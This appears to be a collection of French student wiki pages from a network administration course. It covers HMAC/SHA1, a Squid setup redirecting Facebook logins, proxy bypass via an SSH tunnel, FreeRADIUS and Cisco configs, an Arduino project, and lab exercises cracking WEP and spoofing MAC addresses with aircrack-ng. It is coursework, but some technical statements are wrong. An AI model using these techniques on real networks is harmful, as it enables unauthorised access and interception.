Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:
*[KEY] la clé utilisée pour encoder le message
*[MSG] le message à encoder
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)
Le principe de fonctionnement est le suivant:
<pre>
function HMAC(KEY, MSG, H, HLEN)
if(length(KEY) > HLEN)
KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H
if(length(KEY) < HLEN)
KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))

opad_key = (opad * HLEN) ^ KEY;
ipad_key = (ipad * HLEN) ^ KEY;

return H(opad_key || H(ipad_key || MSG)
</pre>
Dans cette fonction:
*L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
*L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
*L'opérateur ^ désigne l'opérateur XOR logique
*La variable opad est une constance valant 0x5C
*La variable ipad est une constance valant 0x36
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.
<pre>
function SHA1(PASS)
h0 = 0x67452301
h1 = 0xEFCDAB89
h2 = 0x98BADCFE
h3 = 0x10325476
h4 = 0xC3D2E1F0
ml = message length in bits (always a multiple of the number of bits in a character).

append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.
append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)
append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.

break message into 512-bit chunks
for each chunk
break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15

//Extend the sixteen 32-bit words into eighty 32-bit words:
for i from 16 to 79
w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1

//Initialize hash value for this chunk:
a = h0
b = h1
c = h2
d = h3
e = h4

//Main loop
for i from 0 to 79
if 0 ≤ i ≤ 19 then
f = (b and c) or ((not b) and d)
k = 0x5A827999
else if 20 ≤ i ≤ 39
f = b xor c xor d
k = 0x6ED9EBA1
else if 40 ≤ i ≤ 59
f = (b and c) or (b and d) or (c and d)
k = 0x8F1BBCDC
else if 60 ≤ i ≤ 79
f = b xor c xor d
k = 0xCA62C1D6

temp = (a leftrotate 5) + f + e + k + w[i]
e = d
d = c
c = b leftrotate 30
b = a
a = temp

//Add this chunk's hash to result so far:
h0 = h0 + a
h1 = h1 + b
h2 = h2 + c
h3 = h3 + d
h4 = h4 + e

//Produce the final hash value (big-endian) as a 160 bit number:
hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4
</pre>
===Attaque Man In the Middle de Facebook===
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.

Config Squid
<pre>
acl allowedips src 172.16.1.0/24
http_access allow allowedips
forwarded_for off
http_access deny all
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3128
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard
shutdown_lifetime 1 second
</pre>
Config Squidguard
<pre>
dbhome /usr/local/squidGuard/db

dest fb-login {
urllist facebook/url
}

acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}
</pre>
cat /usr/local/squidGuard/db/facebook/url
<pre>
fr-fr.facebook.com
</pre>

===Contournement d'un proxy===
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition "La nuit de l'info", nous avons été amené à réaliser un dispositif permettant un accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécessaires.
<pre>
# apt-get install openssh-server proxytunnel isc-dhcp-server
</pre>
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.
<pre>
# vim /root/.ssh/config
Host perfectTunnel
Hostname ADRESSE_IP_DE_NOTRE_SERVEUR
User root
Port 443
ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p
</pre>
Ensuite, nous réalisons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.
<pre>
ssh \
-o PermitLocalCommand=yes \
-o LocalCommand="ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0" \
-o ServerAliveInterval=60 \
-w 5:5 perfectTunnel \
'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'
</pre>
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.
<pre>
# ping -I tun5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms
</pre>
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.
<pre>
# route del default
# route add default gw 12.24.48.1
</pre>
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.
<pre>
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms
</pre>
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).
<pre>
# vim /etc/default/isc-dhcp-server
INTERFACES="eth0"

# vim /etc/dhcp/dhcpd.conf
subnet 118.218.0.0 netmask 255.255.0.0 {
range 118.218.1.1 118.218.254.254;
option routers 118.218.0.1;
option subnet-mask 255.255.0.0;
option broadcast-address 118.218.255.255;
option domain-name-servers 8.8.8.8, 8.8.4.4;
}

default-lease-time 600;
max-lease-time 7200;
authoritative;
</pre>
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.
<pre>
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE
</pre>
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.
<pre>
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>

===Création de points d'accès Wi-Fi avec serveur d'authentification FreeRADIUS===

====Création du serveur FreeRADIUS====

Afin de créer ces points d'accès, nous avons commencé par paramétrer un serveur d'authentification FreeRADIUS. Pour cela nous avons eu à modifier trois des fichiers de configurations de FreeRADIUS.

D'abord le fichier eap.conf au sein duquel nous avons simplement changé le protocole d'authentification afin d'utiliser le type PEAP.

<pre>
default_eap_type = peap
</pre>

Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :

<pre>
client lellel{
ipaddr = 10.10.10.1
netmask = 32
secret = lollol
}
</pre>

Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.

<pre>
ethwynn Cleartext-Password := "trolol"
</pre>

Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS.

====Configuration des bornes Wi-Fi====

Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :

<pre>
conf t

aaa new-model
aaa authentication login eap_kwak group radius_kwak
radius-server host 193.48.57.167 auth-port 1812 acct-port 1813 key lollol
aaa group server radius radius_kwak
server 193.48.57.167 auth-port 1812 acct-port 1813

exit

dot11 ssid SSID_KWAK
vlan 17
authentication open eap eap_kwak
authentication network-eap eap_kwak
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 17 mode ciphers aes-ccm tkip
ssid SSID_KWAK

exit

interface Dot11Radio0.17
encapsulation dot1Q 17
no ip route-cache
bridge-group 17
bridge-group 17 subscriber-loop-control
bridge-group 17 spanning-disabled
bridge-group 17 block-unknown-source
no bridge-group 17 source-learning
no bridge-group 17 unicast-flooding

exit

interface GigabitEthernet0.17
encapsulation dot1Q 17
bridge-group 17

exit

exit
</pre>

== La partie bonus ==

Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.

Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.

=== Utilisation de l'écran LCD ===

Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.

Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.

Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.

Voici à quoi ressemble une de nos lettres :
<pre>
const char letter_A[] PROGMEM = {
0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,
0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,
0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,
0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};
</pre>

Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.

Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.

Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.

=== Utilisation du lecteur de carte SD ===

Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.

Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.

Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.

=== Communication avec le matériel Cisco ===

[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.

Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.

Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.

=== Réalisation du code pour les appareil Cisco ===

Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.
<pre>
show interfaces status | include INAME\
</pre>
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui répond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche "entrée" possède sa propre liste de connections sur la SD, et ceci en correspondance avec le câblage que nous avons effectué dans le début de notre projet.

Projets IMA5 2015/2016

2015-12-14T17:52:11Z

Froyer1 :

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

<table border="1">
<tr>
<th>Projet</th>
<th>Elèves</th>
<th>Encadrant Ecole</th>
<th>Rapport décembre</th>
<th>Rapports finaux</th>
<th>Vidéo</th>
</tr>
<tr>
<td>[[P1 Convertisseur DC/DC pour réseau MTDC]]</td>
<td> Mehmet Ilter </td>
<td> Philippe DELARUE </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P2 Data Logger]]</td>
<td> Hidéo VINOT</td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P4 Jukebox multi-pièces]]</td>
<td> Alexandre Jouy / Julien hérin </td>
<td> Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P9 Système d'hébergement domestique]]</td>
<td> Romain Libaert / Timothée Teneur </td>
<td> Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]</td>
<td> Mageshwaran Sekar </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P11 Spectateur augmenté]]</td>
<td> Teresa Tumbragel </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P12 Capteurs enfouis pour vieillissement du béton]]</td>
<td> JULITA Alex </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P14 Localisation dans le corps humain]]</td>
<td> Matthieu Marcadet </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P18 Meuble intelligent]]</td>
<td> Kevin Colautti / Benjamin Lefort </td>
<td> Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]</td>
<td> Jean Wasilewski & Pierre Letousey </td>
<td> Xavier Redon / Thomas Vantroys / Alexandre Boé </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P24 Nuage pour sites Web]]</td>
<td> Jeremie Denechaud / Thibaut Scholaert </td>
<td> Xavier Redon / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P25 Architecture ROS pour des véhicules autonomes intelligents]]</td>
<td> Jean-Michel Tournier / Cyril Smagghe </td>
<td> Vincent Coelen et Rochdi Merzouki </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P26 Robot de forgeage et d’usinage]]</td>
<td> Bertrand Yvernault / Louis Thebault </td>
<td> Rochdi Merzouki </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P27 Robot de fraiseuse]]</td>
<td> Flavien Royer / Maxime Morisse </td>
<td> Rochdi Merzouki </td>
<td> [[Fichier:Rapport_P27_ProjetLequien.pdf‎ ]]</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P30 Thermostat connecté et intelligent]]</td>
<td> TISSOT Elise / TIRABY Céline </td>
<td> Guillaume Renault / Alexandre Boé / Xavier Redon </td>
<td>[[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P32 Récupération d'énergie pour balise BLE]]</td>
<td> Quentin Sultana </td>
<td> Frédéric Giraud / Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]</td>
<td> Jérôme Bailet / Mehdi Zeggaï </td>
<td> GAPAS / Laurent Grisoni / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P35 Robot de test pour le sport de Golf]]</td>
<td> Deborah Saunders </td>
<td> Rochdi Merzouki </td>
<td> </td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]</td>
<td> Sandra HAGE CHEHADE / Thomas DANEL </td>
<td> Vincent COELEN / Rochdi MERZOUKI </td>
<td> </td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]</td>
<td> Louis CHAUCHARD / Romain IMBERT </td>
<td> Blaise CONRARD </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P13 Plateforme expérimentation IOT]]</td>
<td> ROCHE François </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
</table>

PRA 2015 - Câblage d'un réseau redondant

2015-12-10T09:54:55Z

Froyer1 : /* Contournement d'un proxy */

__TOC__
== Introduction ==
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.
== Câblage du résau ==
=== Le réseau idéal ===
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.

[[Fichier:PRA15 - Réseau Idéal.png]]

Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.

=== L'avancement du cablage du réseau ===

L'image suivante détaille l'état du réseau avant le 07/10/2015.

[[Fichier:PRA15 - Réseau Temporaire.png]]

Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.

== La partie commune ==
=== Création d'un site Web haute disponibilité ===
==== Installation de la machine virtuelle ====
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.
<pre>
# cat /etc/xen/kwak.cfg
kernel = '/boot/vmlinuz-3.14-2-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-3.14-2-amd64'
vcpus = '1'
memory = '512'
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',
'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',
]
name = 'kwak'
vif = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'
</pre>
Ensuite, nous démarrons notre machine virtuelle.
<pre>
# xl create /etc/xen/kwak.cfg
</pre>
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).
<pre>
# xl console kwak
</pre>
Enfin, nous installons les services dont nous allons avoir besoin par la suite.
<pre>
# apt-get install apache2 bind
</pre>

==== Mise en place du service web ====
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]
<pre>
<!DOCTYPE>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
</head>
<body>
<iframe style="position:absolute;top:0px;left:0px;" id="video" src="https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&showinfo=0&showsearch=0&iv_load_policy=3&autoplay=1" frameborder="0" allowfullscreen></iframe>
<script>
$(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });
$(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});
});
</script>
</body>
</html>
</pre>

=== Tests de sécurisation de réseaux WiFi ===
==== Accès par filtrage MAC ====
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.

La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.
<pre>
airodump-ng start wlan0
</pre>
Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"

<pre>
airodump-ng --essid baguette wlan0mon

CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -63 9 0 0 4 54e. OPN baguette
</pre>

On spécifie alors le canal et le BSSID à utiliser pour plus de précision.

<pre>
airodump-ng --essid baguette wlan0mon

CH 4 ][ Elapsed: 18 s ][ 2015-10-22 13:29
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -52 100 146 1 0 4 54e. OPN baguette

BSSID STATION PWR Rate Lost Frames Probe
C4:14:3C:40:78:60 00:15:AF:E7:19:F3 -59 0 - 5e 0 1
</pre>

Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.

<pre>
ifconfig wlan1 hw ether C4:14:3C:40:78:60
</pre>

==== Accès par filtrage WEP ====
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.
<pre>
#airmon-ng
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]

#airmon-ng start wlan3
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]
(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)
(mac80211 station mode vif disabled for [phy1]wlan3)
</pre>
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.
<pre>
#airodump-ng wlan3mon
CH 9 ][ Elapsed: 0 s ][ 2015-11-12 11:58

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:48 -57 2 0 0 7 54e. OPN cracotte09
00:23:5E:1E:05:41 -56 3 0 0 7 54e. WEP WEP cracotte02
00:23:5E:1E:05:45 -57 3 22 0 7 54e. WEP WEP cracotte06
00:23:5E:1E:05:44 -56 2 19 0 7 54e. WEP WEP cracotte05
00:23:5E:1E:05:47 -55 3 42 0 7 54e. WEP WEP cracotte08
00:23:5E:1E:05:46 -55 1 67 0 7 54e. WEP WEP cracotte07
00:23:5E:1E:05:42 -56 2 67 0 7 54e. WEP WEP cracotte03
00:23:5E:1E:05:40 -57 2 98 0 7 54e. WEP WEP cracotte01
00:23:5E:1E:05:43 -58 4 99 0 7 54e. WEP WEP cracotte04

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:CF:01:90 48:5A:3F:4C:37:61 -1 1e- 0 0 2
00:23:5E:1E:05:45 00:0F:B5:92:23:74 -64 54e-48e 2 21
00:23:5E:1E:05:44 00:0F:B5:92:23:6B -65 48e- 2e 89 9
00:23:5E:1E:05:47 00:0F:B5:92:23:71 -67 54e-54e 39 37
00:23:5E:1E:05:46 00:0F:B5:92:23:69 -63 48e-54e 6 63
00:23:5E:1E:05:42 00:0F:B5:92:23:6A -60 48e-54e 9 59
00:23:5E:1E:05:40 00:0F:B5:92:22:68 -55 36e-48e 9 94
00:23:5E:1E:05:43 00:0F:B5:92:23:75 -58 48e- 2e 145 93
</pre>
Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID
<pre>
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon
CH 7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:46 -64 17 1603 46339 201 7 54e. WEP WEP cracotte07
</pre>
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.
<pre>
#aircrack-ng *.cap
Opening dmp-01.cap
Read 110082 packets.

# BSSID ESSID Encryption

1 00:23:5E:1E:05:46 cracotte07 WEP (6190 IVs)

Choosing first network as target.

Opening dmp-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 6258 ivs.
</pre>
Ensuite, nous générons plus de flux à l'aide de aireplay.
<pre>
#aireplay-ng -5 -e cracotte07 wlan3mon
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)
12:02:11 Waiting for beacon frame (ESSID: cracotte07) on channel 7
Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07".
12:02:11 Waiting for a data packet...

Size: 70, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:23:5E:1E:05:46
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:92:23:69

0x0000: 8841 2c00 0023 5e1e 0546 000f b592 2369 .A,..#^..F....#i
0x0010: ffff ffff ffff c014 0000 f898 0e00 8065 ...............e
0x0020: 7e87 af6b e679 211e c9d6 1665 0b4f 7e2d ~..k.y!....e.O~-
